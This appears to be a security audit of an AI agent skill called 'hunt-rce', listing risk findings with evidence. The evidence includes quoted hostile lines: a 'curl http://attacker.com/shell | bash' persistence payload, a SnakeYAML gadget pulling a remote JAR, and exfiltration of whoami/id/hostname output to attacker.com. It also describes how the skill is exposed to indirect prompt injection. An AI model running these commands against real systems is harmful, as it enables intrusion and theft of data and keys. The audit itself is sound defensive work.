The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill contains explicit instructions to download and execute code from non-trusted external sources.
Evidence: The methodology includes a payload for persistence using curl http://attacker.com/shell | bash.
Evidence: A SnakeYAML gadget is provided that loads a remote JAR file from http://attacker.com/exploit.jar.
Evidence: The Jenkins CLI section instructs the download of an executable JAR file from a target server using curl -sLO.
[DATA_EXFILTRATION]: Multiple patterns are included that exfiltrate environment data to external listener services.
Evidence: The skill provides payloads that use nslookup, curl, and wget to send the output of whoami, id, and hostname to external domains like attacker.com.
Evidence: Specific methods are detailed for reading and exfiltrating the contents of sensitive files such as /etc/passwd and encryption keys (secret.key, master.key) through error message leakage.
[COMMAND_EXECUTION]: The skill requires the use of several powerful command-line utilities that can manipulate the local system and network.
Evidence: Instructions involve executing kubectl with insecure flags to access Kubernetes APIs, using npm to query and install packages, and invoking java to run external code gadgets.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and process untrusted content from external targets (bug bounty reports, HTTP headers, API responses), creating a large surface for indirect injection attacks.
Ingestion points: Target URLs, HTTP response headers, JS bundles, and public bug bounty platforms.
Boundary markers: The instructions do not define boundary markers or sanitization requirements for the external data being processed.
Capability inventory: The skill has access to network tools (curl, wget), shell execution (popen, exec), and package managers (npm, pip).
Sanitization: No sanitization or validation logic is provided for the interpolated target data.

hunt-rce